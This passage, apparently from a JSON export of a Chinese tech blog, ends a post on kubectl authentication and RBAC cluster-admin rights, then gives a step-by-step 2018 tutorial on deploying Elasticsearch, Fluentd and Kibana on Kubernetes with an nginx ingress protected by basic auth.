/apis/rbac.authorization.k8s.io/v1/clusterroles/cluster-admin uid: 18abe535-6a1a-11e8-a0e8-00163e0cd764 rules: - apiGroups: - '*' resources: - '*' verbs: - '*' - nonResourceURLs: - '*' verbs: - '*' 从rules列表中来看，cluster-admin这个角色对所有resources、verbs、apiGroups均有无限制的操作权限，即整个集群的root权限。于是kubectl的请求就可以操控和管理整个集群了。\n四. 小结 至此，我们应该明确了为什么采用了admin.conf kubeconfig的kubectrl拥有root权限了。下面是一幅示意图，简要总结了对kubectl访问请求的身份验证和授权过程：\n大家可以结合这幅图，重温一下上面的文字描述，加深一下理解。\n更多内容可以通过我在慕课网开设的实战课程《Kubernetes实战 高可用集群搭建、配置、运维与应用》学习。\n51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/06/14/the-authentication-and-authorization-of-kubectl-when-accessing-k8s-cluster/","summary":"\u003cp\u003e\u003ca href=\"https://kubernetes.io/docs/reference/kubectl/overview/\"\u003ekubectl\u003c/a\u003e是日常访问和管理\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes集群\u003c/a\u003e最为常用的工具。\u003c/p\u003e\n\u003cp\u003e当我们使用\u003ca href=\"https://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003ekubeadm\u003c/a\u003e成功引导启动(init)一个\u003ca href=\"https://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm\"\u003eKubernetes集群的控制平面\u003c/a\u003e后，kubeadm会在init的输出结果中给予我们下面这样的“指示”：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e... ...\nYour Kubernetes master has initialized successfully!\n\nTo start using your cluster, you need to run the following as a regular user:\n\n  mkdir -p $HOME/.kube\n  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config\n  sudo chown $(id -u):$(id -g) $HOME/.kube/config\n... ...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ca href=\"https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-init/\"\u003ekubeadm init\u003c/a\u003e在结尾处输出的这些信息是在告知我们如何配置\u003cstrong\u003ekubeconfig\u003c/strong\u003e文件。按照上述命令配置后，master节点上的kubectl就可以直接使用$HOME/.kube/config的信息访问k8s cluster了。并且，通过这种配置方式，kubectl也拥有了整个集群的\u003cstrong\u003e管理员(root)权限\u003c/strong\u003e。\u003c/p\u003e","title":"使用kubectl访问Kubernetes集群时的身份验证和授权"},{"content":"在一年多之前，我曾写过一篇文章《使用Fluentd和ElasticSearch Stack实现Kubernetes的集群Logging》，文中讲解了如何在Kubernetes上利用EFK（elastic, fluentd, kibana）搭建一套可用的集中日志分析平台。当时的k8s使用的是1.3.7版本，创建EFK使用的是kubernetes项目中cluster/addons/fluentd-elasticsearch下面的全套yaml文件，yaml中Elastic Search的volume用的还是emptyDir，并未真正持久化。\n经过一年多的发展，Kubernetes发生了“翻天覆地”的变化，EFK技术栈也有了很大的进展。虽然那篇文章中的方案、步骤以及问题的解决思路仍有参考价值，但毕竟“年代”不同了，有些东西需要“与时俱进”。恰好近期在协助同事搭建一个移动互联网医院的演示环境时，我又一次搭建了一套“较新”版本的EFK，这里记录一下搭建过程、遇到的坑以及问题的解决过程，算是对之前“陈旧知识”的一个更新吧。\n一. 环境和部署方案 这次部署我使用了较新的Kubernetes stable版本：1.10.3，这是一个单master node和三个worker node组成的演示环境，集群由kubeadm创建并引导启动。经过这些年的发展和演进，kubeadm引导启动的集群已经十分稳定了，并且搭建过程也是十分顺利（集群使用的是weave network插件）。\n在EFK部署方案上，我没有再选择直接使用kubernetes项目中cluster/addons/fluentd-elasticsearch下面的全套yaml文件，而是打算逐个组件单独安装的hard模式。\n下面是一个部署示意图：\n虽然Kubernetes在持久化存储方面有诸多机制和插件可用，但总体来说，目前的k8s在storage这块依旧是短板，用起来体验较差，希望Container Storage Interface, CSI的引入和未来发展能降低开发人员的心智负担。因此，这次我将Elastic Search放在了k8s集群外单独单点部署，并直接使用local file system进行数据存取；fluentd没有变化，依旧是以DaemonSet控制的Pod的形式运行在每个k8s node上; kibana部署在集群内部，并通过ingress将服务暴露到集群外面。\n二. 部署Elastic Search 按照部署方案，我们将Elastic Search部署在k8s集群外面，但我们依旧使用容器化部署方式。Elastic Search的官方镜像仓库已经由docker hub迁移到elasticsearch自己维护的仓库了。\n我们下载当前ElasticSearch的最新版6.2.4：\ndocker pull docker.elastic.co/elasticsearch/elasticsearch:6.2.4 # docker images REPOSITORY TAG IMAGE ID CREATED SIZE docker.elastic.co/elasticsearch/elasticsearch 6.2.4 7cb69da7148d 8 weeks ago 515 MB 在本地创建elasticsearch的数据存储目录：~/es_data，修改该目录的owner和group均为1000：\n# mkdir ~/es_data # chmod g+rwx es_data # chgrp 1000 es_data # chown 1000 -R es_data # ls -l /root/es_data/ total 8 drwxrwxr-x 2 1000 1000 4096 Jun 8 09:50 ./ drwx------ 8 root root 4096 Jun 8 09:50 ../ 注意：务必对es_data按上述命令执行修改，否则在启动elasticsearch容器可能会出现如下错误：\n[WARN ][o.e.b.ElasticsearchUncaughtExceptionHandler] [] uncaught exception in thread [main] _*org.elasticsearch.bootstrap.StartupException: java.lang.IllegalStateException: Failed to create node environment*_ at org.elasticsearch.bootstrap.Elasticsearch.init(Elasticsearch.java:125) ~[elasticsearch-6.2.4.jar:6.2.4] ... ... Caused by: java.nio.file.AccessDeniedException: /usr/share/elasticsearch/data/nodes at sun.nio.fs.UnixException.translateToIOException(UnixException.java:84) ~[?:?] ... ... 启动elasticsearch容器：\n# docker run -d --restart=unless-stopped -p 9200:9200 -p 9300:9300 -v /root/es_data:/usr/share/elasticsearch/data --ulimit nofile=65536:65536 -e \u0026quot;bootstrap.memory_lock=true\u0026quot; --ulimit memlock=-1:-1 -e \u0026quot;discovery.type=single-node\u0026quot; docker.elastic.co/elasticsearch/elasticsearch:6.2.4 如果看到下面日志，说明elasticsearch容器启动成功了!\n[INFO ][o.e.c.m.MetaDataCreateIndexService] [sGZc7Wa] [.monitoring-es-6-2018.06.08] creating index, cause [auto(bulk api)], templates [.monitoring-es], shards [1]/[0], mappings [doc] [INFO ][o.e.c.r.a.AllocationService] [sGZc7Wa] Cluster health status changed from [YELLOW] to [GREEN] (reason: [shards started [[.monitoring-es-6-2018.06.08][0]] ...]). 检查es健康状态：\n# curl http://127.0.0.1:9200/_cat/health 1528424599 02:23:19 docker-cluster green 1 1 1 1 0 0 0 0 - 100.0% es工作一切健康！\n三. 部署Fluentd 相比较而言，fluentd的部署相对简单，因为fluentd官网文档有明确的安装说明。由于k8s默认授权机制采用了RBAC，因此我们使用fluentd-daemonset-elasticsearch-rbac.yaml来创建fluentd daemonset。\n不过在创建前，我们需要打开fluentd-daemonset-elasticsearch-rbac.yaml修改一下它连接的elasticsearch的地址信息：\ncontainers: - name: fluentd image: fluent/fluentd-kubernetes-daemonset:elasticsearch env: - name: FLUENT_ELASTICSEARCH_HOST value: \u0026quot;172.16.66.104\u0026quot; // 172.16.66.104就是我们的elasticsearch运行的节点的ip 接下来创建fluentd:\n# kubectl apply -f fluentd-daemonset-elasticsearch-rbac.yaml serviceaccount \u0026quot;fluentd\u0026quot; created clusterrole.rbac.authorization.k8s.io \u0026quot;fluentd\u0026quot; created clusterrolebinding.rbac.authorization.k8s.io \u0026quot;fluentd\u0026quot; created daemonset.extensions \u0026quot;fluentd\u0026quot; created 查看某一个fluentd pod的启动日志如下：\n# kubectl logs -f pods/fluentd-4rptt -n kube-system [info]: reading config file path=\u0026quot;/fluentd/etc/fluent.conf\u0026quot; [info]: starting fluentd-0.12.33 [info]: gem 'fluent-plugin-elasticsearch' version '1.16.0' [info]: gem 'fluent-plugin-kubernetes_metadata_filter' version '1.0.2' [info]: gem 'fluent-plugin-record-reformer' version '0.9.1' [info]: gem 'fluent-plugin-secure-forward' version '0.4.5' [info]: gem 'fluentd' version '0.12.33' [info]: adding match pattern=\u0026quot;fluent.**\u0026quot; type=\u0026quot;null\u0026quot; [info]: adding filter pattern=\u0026quot;kubernetes.**\u0026quot; type=\u0026quot;kubernetes_metadata\u0026quot; [info]: adding match pattern=\u0026quot;**\u0026quot; type=\u0026quot;elasticsearch\u0026quot; [info]: adding source type=\u0026quot;tail\u0026quot; ... ... [info]: following tail of /var/log/containers/weave-net-9kds5_kube-system_weave-13ef6f321b2bc64dc920878c7d361440c0157b91f6025f23c631edb5feb3473a.log [info]: following tail of /var/log/containers/fluentd-4rptt_kube-system_fluentd-bdc80586d5cafc10729fb277ce01cf28d595059eabf96b66324f32b3b6873e28.log [info]: Connection opened to Elasticsearch cluster =\u0026gt; {:host=\u0026gt;\u0026quot;172.16.66.104\u0026quot;, :port=\u0026gt;9200, :scheme=\u0026gt;\u0026quot;http\u0026quot;, :user=\u0026gt;\u0026quot;elastic\u0026quot;, :password=\u0026gt;\u0026quot;obfuscated\u0026quot;} ... ... 没有报错！似乎fluentd启动ok了。\n再来通过elasticsearch日志验证一下：\n[INFO ][o.e.c.m.MetaDataCreateIndexService] [sGZc7Wa] [logstash-2018.06.07] creating index, cause [auto(bulk api)], templates [], shards [5]/[1], mappings [] [INFO ][o.e.c.m.MetaDataCreateIndexService] [sGZc7Wa] [logstash-2018.06.08] creating index, cause [auto(bulk api)], templates [], shards [5]/[1], mappings [] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.07/XetLly2ZQFKKd0JVvxl5fA] create_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.07/XetLly2ZQFKKd0JVvxl5fA] update_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.07/XetLly2ZQFKKd0JVvxl5fA] update_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.08/j5soBzyVSNOvBQg-E3NkCA] create_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.08/j5soBzyVSNOvBQg-E3NkCA] update_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.08/j5soBzyVSNOvBQg-E3NkCA] update_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.07/XetLly2ZQFKKd0JVvxl5fA] update_mapping [fluentd] [INFO ][o.e.c.m.MetaDataMappingService] [sGZc7Wa] [logstash-2018.06.08/j5soBzyVSNOvBQg-E3NkCA] update_mapping [fluentd] fluentd已经成功连接上es了！\n四. 部署Kibana 我们将kibana部署到Kubernetes集群内，我们使用kubernetes项目中的cluster/addons/fluentd-elasticsearch下的kibana yaml文件来创建kibana部署和服务：\nhttps://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/kibana-deployment.yaml https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/kibana-service.yaml 创建前，我们需要修改一下kibana-deployment.yaml：\n... ... image: docker.elastic.co/kibana/kibana:6.2.4 // 这里，我们使用最新的版本：6.2.4 - name: ELASTICSEARCH_URL value: http://172.16.66.104:9200 //这里，我们用上面的elasticsearch的服务地址填入到value的值中 .... ... 创建kibana：\n# kubectl apply -f kibana-service.yaml service \u0026quot;kibana-logging\u0026quot; created # kubectl apply -f kibana-deployment.yaml deployment.apps \u0026quot;kibana-logging\u0026quot; created 查看启动的kibana pod，看到如下错误日志：\n{\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-08T07:09:08Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;fatal\u0026quot;],\u0026quot;pid\u0026quot;:1,\u0026quot;message\u0026quot;:\u0026quot;\\\u0026quot;xpack.monitoring.ui.container.elasticsearch.enabled\\\u0026quot; setting was not applied. Check for spelling errors and ensure that expected plugins are installed and enabled.\u0026quot;} FATAL \u0026quot;xpack.monitoring.ui.container.elasticsearch.enabled\u0026quot; setting was not applied. Check for spelling errors and ensure that expected plugins are installed and enabled. 似乎与xpack有关。我们删除kibana-deployment.yaml中的两个环境变量：XPACK_MONITORING_ENABLED和XPACK_SECURITY_ENABLED，再重新apply。查看kibana pod日志：\n# kubectl logs -f kibana-logging-648dbdf986-bc24x -n kube-system {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-08T07:16:27Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:kibana@6.2.4\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:1,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-08T07:16:27Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:elasticsearch@6.2.4\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:1,\u0026quot;state\u0026quot;:\u0026quot;yellow\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to yellow - Waiting for Elasticsearch\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} ... ... {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-08T07:16:30Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;info\u0026quot;,\u0026quot;monitoring-ui\u0026quot;,\u0026quot;kibana-monitoring\u0026quot;],\u0026quot;pid\u0026quot;:1,\u0026quot;message\u0026quot;:\u0026quot;Starting all Kibana monitoring collectors\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-08T07:16:30Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;license\u0026quot;,\u0026quot;info\u0026quot;,\u0026quot;xpack\u0026quot;],\u0026quot;pid\u0026quot;:1,\u0026quot;message\u0026quot;:\u0026quot;Imported license information from Elasticsearch for the [monitoring] cluster: mode: basic | status: active | expiry date: 2018-07-08T02:06:08+00:00\u0026quot;} 可以看到kibana启动成功！\n使用kubectl proxy启动代理，在浏览器中建立sock5 proxy，然后在浏览器访问：http://localhost:8001/api/v1/namespaces/kube-system/services/kibana-logging/proxy， 你应该可以看到下面的kibana首页:\n创建index pattern后，等待一会，查看边栏中的”Discover”，如果你看到类似下面截图中的日志内容输出，说明kibana可以正常从elasticsearch获取数据了：\n五. 为kibana添加ingress 使用kubectl proxy查看kibana虽然简单，但略显麻烦，将kibana服务暴露到集群外更为方便。下面我们就给kibana添加带basic auth的ingress。\n1. 部署ingress controller及默认后端(如果cluster已经部署过，则忽略此步骤) 我们选择k8s官方的ingress-nginx作为ingress controller，并部署默认后端default-backend，我们把ingress-nginx controller和default-backend统统部署在kube-system命令空间下。\n下载https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/mandatory.yaml mandatory.yaml中的namespace的值都改为kube-system docker pull anjia0532/defaultbackend:1.4 docker tag anjia0532/defaultbackend:1.4 gcr.io/google_containers/defaultbackend:1.4 docker pull quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.15.0 # kubectl apply -f mandatory.yaml deployment.extensions \u0026quot;default-http-backend\u0026quot; created service \u0026quot;default-http-backend\u0026quot; created configmap \u0026quot;nginx-configuration\u0026quot; created configmap \u0026quot;tcp-services\u0026quot; created configmap \u0026quot;udp-services\u0026quot; created serviceaccount \u0026quot;nginx-ingress-serviceaccount\u0026quot; created clusterrole.rbac.authorization.k8s.io \u0026quot;nginx-ingress-clusterrole\u0026quot; created role.rbac.authorization.k8s.io \u0026quot;nginx-ingress-role\u0026quot; created rolebinding.rbac.authorization.k8s.io \u0026quot;nginx-ingress-role-nisa-binding\u0026quot; created clusterrolebinding.rbac.authorization.k8s.io \u0026quot;nginx-ingress-clusterrole-nisa-binding\u0026quot; created deployment.extensions \u0026quot;nginx-ingress-controller\u0026quot; created 此时nginx-ingress controller已经安装完毕，nginx-ingress controller本质上就是一个nginx，目前它还没有暴露服务端口，我们通过nodeport方式暴露nginx-ingress service到集群外面：\n下载https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/provider/baremetal/service-nodeport.yaml 修改service-nodeport.yaml: apiVersion: v1 kind: Service metadata: name: ingress-nginx namespace: kube-system spec: type: NodePort ports: - name: http port: 80 targetPort: 80 nodePort: 30080 protocol: TCP - name: https port: 443 targetPort: 443 nodePort: 30443 protocol: TCP selector: app: ingress-nginx # kubectl apply -f service-nodeport.yaml service \u0026quot;ingress-nginx\u0026quot; created # lsof -i tcp:30080 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME kube-prox 24565 root 9u IPv6 10447591 0t0 TCP *:30080 (LISTEN) 我们验证一下nginx-ingress controller工作是否正常：\n在任意一个集群node上： # curl localhost:30080 default backend - 404 2. 为kibana添加ingress ingress是一种抽象。对于nginx ingress controller来说，创建一个ingress相当于在nginx.conf中添加一个server入口，并nginx -s reload生效。\n我们创建kibana的ingress yaml:\napiVersion: extensions/v1beta1 kind: Ingress metadata: annotations: name: kibana-logging-ingress namespace: kube-system spec: rules: - host: kibana.tonybai.com http: paths: - backend: serviceName: kibana-logging servicePort: 5601 由于ingress中的host只能是域名，这里用 kibana.tonybai.com，然后在/etc/hosts中增加该域名的ip地址映射。\n创建kibana-logging-ingress：\n# kubectl apply -f kibana-logging-ingress.yaml ingress.extensions \u0026quot;kibana-logging-ingress\u0026quot; created 此时，我们打开浏览器，访问http://kibana.tonybai.com:30080，我们得到了如下结果：\n{\u0026quot;statusCode\u0026quot;:404,\u0026quot;error\u0026quot;:\u0026quot;Not Found\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Not Found\u0026quot;} 我们再次用curl试一下：\n# curl -L kibana.tonybai.com:30080 \u0026lt;script\u0026gt;var hashRoute = '/api/v1/namespaces/kube-system/services/kibana-logging/proxy/appl; var defaultRoute = '/api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana'; var hash = window.location.hash; if (hash.length) { window.location = hashRoute + hash; } else { window.location = defaultRoute; 这显然不是我们预想的结果。我们查看一下kibana pod对应的日志，并对比了一下使用kubectl proxy访问kibana的日志：\n通过ingress访问的错误日志： {\u0026quot;type\u0026quot;:\u0026quot;response\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-11T10:20:55Z\u0026quot;,\u0026quot;tags\u0026quot;:[],\u0026quot;pid\u0026quot;:1,\u0026quot;method\u0026quot;:\u0026quot;get\u0026quot;,\u0026quot;statusCode\u0026quot;:404,\u0026quot;req\u0026quot;:{\u0026quot;url\u0026quot;:\u0026quot;/api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana\u0026quot;,\u0026quot;method\u0026quot;:\u0026quot;get\u0026quot;,\u0026quot;headers\u0026quot;:{\u0026quot;host\u0026quot;:\u0026quot;kibana.tonybai.com:30080\u0026quot;,\u0026quot;connection\u0026quot;:\u0026quot;close\u0026quot;,\u0026quot;x-request-id\u0026quot;:\u0026quot;b066d69c31ce3c9e89efa6264966561c\u0026quot;,\u0026quot;x-real-ip\u0026quot;:\u0026quot;192.168.16.1\u0026quot;,\u0026quot;x-forwarded-for\u0026quot;:\u0026quot;192.168.16.1\u0026quot;,\u0026quot;x-forwarded-host\u0026quot;:\u0026quot;kibana.tonybai.com:30080\u0026quot;,\u0026quot;x-forwarded-port\u0026quot;:\u0026quot;80\u0026quot;,\u0026quot;x-forwarded-proto\u0026quot;:\u0026quot;http\u0026quot;,\u0026quot;x-original-uri\u0026quot;:\u0026quot;/api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana\u0026quot;,\u0026quot;x-scheme\u0026quot;:\u0026quot;http\u0026quot;,\u0026quot;cache-control\u0026quot;:\u0026quot;max-age=0\u0026quot;,\u0026quot;upgrade-insecure-requests\u0026quot;:\u0026quot;1\u0026quot;,\u0026quot;user-agent\u0026quot;:\u0026quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36\u0026quot;,\u0026quot;accept\u0026quot;:\u0026quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\u0026quot;,\u0026quot;accept-language\u0026quot;:\u0026quot;zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7\u0026quot;},\u0026quot;remoteAddress\u0026quot;:\u0026quot;192.168.20.5\u0026quot;,\u0026quot;userAgent\u0026quot;:\u0026quot;192.168.20.5\u0026quot;},\u0026quot;res\u0026quot;:{\u0026quot;statusCode\u0026quot;:404,\u0026quot;responseTime\u0026quot;:4,\u0026quot;contentLength\u0026quot;:9},\u0026quot;message\u0026quot;:\u0026quot;GET /api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana 404 4ms - 9.0B\u0026quot;} 通过kubectl proxy访问的正确日志： {\u0026quot;type\u0026quot;:\u0026quot;response\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2018-06-11T10:20:43Z\u0026quot;,\u0026quot;tags\u0026quot;:[],\u0026quot;pid\u0026quot;:1,\u0026quot;method\u0026quot;:\u0026quot;get\u0026quot;,\u0026quot;statusCode\u0026quot;:304,\u0026quot;req\u0026quot;:{\u0026quot;url\u0026quot;:\u0026quot;/ui/fonts/open_sans/open_sans_v13_latin_regular.woff2\u0026quot;,\u0026quot;method\u0026quot;:\u0026quot;get\u0026quot;,\u0026quot;headers\u0026quot;:{\u0026quot;host\u0026quot;:\u0026quot;localhost:8001\u0026quot;,\u0026quot;user-agent\u0026quot;:\u0026quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36\u0026quot;,\u0026quot;accept\u0026quot;:\u0026quot;*/*\u0026quot;,\u0026quot;accept-encoding\u0026quot;:\u0026quot;gzip, deflate, br\u0026quot;,\u0026quot;accept-language\u0026quot;:\u0026quot;zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7\u0026quot;,\u0026quot;if-modified-since\u0026quot;:\u0026quot;Thu, 12 Apr 2018 20:57:06 GMT\u0026quot;,\u0026quot;if-none-match\u0026quot;:\u0026quot;\\\u0026quot;afc44700053c9a28f9ab26f6aec4862ac1d0795d\\\u0026quot;\u0026quot;,\u0026quot;origin\u0026quot;:\u0026quot;http://localhost:8001\u0026quot;,\u0026quot;referer\u0026quot;:\u0026quot;http://localhost:8001/api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana\u0026quot;,\u0026quot;x-forwarded-for\u0026quot;:\u0026quot;127.0.0.1, 172.16.66.101\u0026quot;,\u0026quot;x-forwarded-uri\u0026quot;:\u0026quot;/api/v1/namespaces/kube-system/services/kibana-logging/proxy/ui/fonts/open_sans/open_sans_v13_latin_regular.woff2\u0026quot;},\u0026quot;remoteAddress\u0026quot;:\u0026quot;192.168.16.1\u0026quot;,\u0026quot;userAgent\u0026quot;:\u0026quot;192.168.16.1\u0026quot;,\u0026quot;referer\u0026quot;:\u0026quot;http://localhost:8001/api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana\u0026quot;},\u0026quot;res\u0026quot;:{\u0026quot;statusCode\u0026quot;:304,\u0026quot;responseTime\u0026quot;:3,\u0026quot;contentLength\u0026quot;:9},\u0026quot;message\u0026quot;:\u0026quot;GET /ui/fonts/open_sans/open_sans_v13_latin_regular.woff2 304 3ms - 9.0B\u0026quot;} 我们看到通过ingress访问，似乎将/api/v1/namespaces/kube-system/services/kibana-logging/proxy/app/kibana这个url path也传递给后面的kibana了，而kibana却无法处理。\n我们回头看一下kibana-deployment.yaml，那里面有一个env var:\n- name: SERVER_BASEPATH value: /api/v1/namespaces/kube-system/services/kibana-logging/proxy 问题似乎就出在这里。我们去掉这个env var，并重新apply kibana-deployment.yaml。然后再用浏览器访问：http://kibana.tonybai.com:30080/app/kibana，kibana的页面就会出现在眼前了。\n但是这样更新后，通过kubectl proxy方式似乎就无法正常访问kibana了，这里也只能二选一了，我们选择ingress访问。\n3. 添加basic auth for kibana-logging ingress 虽然kibana ingress生效了，但目前kibana ingress目前在“裸奔”，我们还是要适当加上一些auth的，我们选择basic auth，从原理上讲这是加到nginx上的basic auth，kibana自身并没有做basic auth：\n我们借助htpasswd工具生成用户名和密码，并基于此创建secret对象：\n# htpasswd -c auth tonybai New password: Re-type new password: Adding password for user tonybai # cat auth tonybai:$apr1$pQuJZfll$KPfa1rXJUTBBKktxtbVsI0 #kubectl create secret generic basic-auth --from-file=auth -n kube-system secret \u0026quot;basic-auth\u0026quot; created # kubectl get secret basic-auth -o yaml -n kube-system apiVersion: v1 data: auth: dG9ueWJhaTokYXByMSRwUXVKWmZsbCRLUGZhMXJYSlVUQkJLa3R4dGJWc0kwCg== kind: Secret metadata: annotations: kubectl.kubernetes.io/last-applied-configuration: | {\u0026quot;apiVersion\u0026quot;:\u0026quot;v1\u0026quot;,\u0026quot;data\u0026quot;:{\u0026quot;auth\u0026quot;:\u0026quot;dG9ueWJhaTokYXByMSRwUXVKWmZsbCRLUGZhMXJYSlVUQkJLa3R4dGJWc0kwCg==\u0026quot;},\u0026quot;kind\u0026quot;:\u0026quot;Secret\u0026quot;,\u0026quot;metadata\u0026quot;:{\u0026quot;annotations\u0026quot;:{},\u0026quot;name\u0026quot;:\u0026quot;basic-auth\u0026quot;,\u0026quot;namespace\u0026quot;:\u0026quot;kube-system\u0026quot;},\u0026quot;type\u0026quot;:\u0026quot;Opaque\u0026quot;} creationTimestamp: 2018-06-11T23:05:42Z name: basic-auth namespace: kube-system resourceVersion: \u0026quot;579134\u0026quot; selfLink: /api/v1/namespaces/kube-system/secrets/basic-auth uid: f6ec373e-6dcb-11e8-a0e8-00163e0cd764 type: Opaque 在kibana-logging-ingress.yaml中增加有关auth的annotations：\n// kibana-logging-ingress.yaml apiVersion: extensions/v1beta1 kind: Ingress metadata: annotations: nginx.ingress.kubernetes.io/auth-type: basic nginx.ingress.kubernetes.io/auth-secret: basic-auth nginx.ingress.kubernetes.io/auth-realm: \u0026quot;Authentication Required - tonybai\u0026quot; name: kibana-logging-ingress namespace: kube-system spec: rules: - host: kibana.tonybai.com http: paths: - backend: serviceName: kibana-logging servicePort: 5601 apply kibana-logging-ingress.yaml后，我们再次访问：kibana.tonybai.com:30080\n至此，一个演示环境下的EFK日志平台就搭建完毕了。相信有了这种hard way的安装搭建经验，我们可以灵活应对针对其中某个组件的变种部署了（比如将elasticsearch放到k8s中部署）。\n更多内容可以通过我在慕课网开设的实战课程《Kubernetes实战 高可用集群搭建、配置、运维与应用》学习。\n51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/06/13/setup-efk-on-kubernetes-1-10-3-in-the-hard-way/","summary":"\u003cp\u003e在一年多之前，我曾写过一篇文章\u003ca href=\"https://tonybai.com/2017/03/03/implement-kubernetes-cluster-level-logging-with-fluentd-and-elasticsearch-stack/\"\u003e《使用Fluentd和ElasticSearch Stack实现Kubernetes的集群Logging》\u003c/a\u003e，文中讲解了如何在\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e上利用EFK（\u003ca href=\"https://www.elastic.co/\"\u003eelastic\u003c/a\u003e, \u003ca href=\"https://www.fluentd.org/\"\u003efluentd\u003c/a\u003e, \u003ca href=\"https://www.elastic.co/products/kibana\"\u003ekibana\u003c/a\u003e）搭建一套可用的集中日志分析平台。当时的k8s使用的是\u003ca href=\"https://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e1.3.7版本\u003c/a\u003e，创建EFK使用的是\u003ca 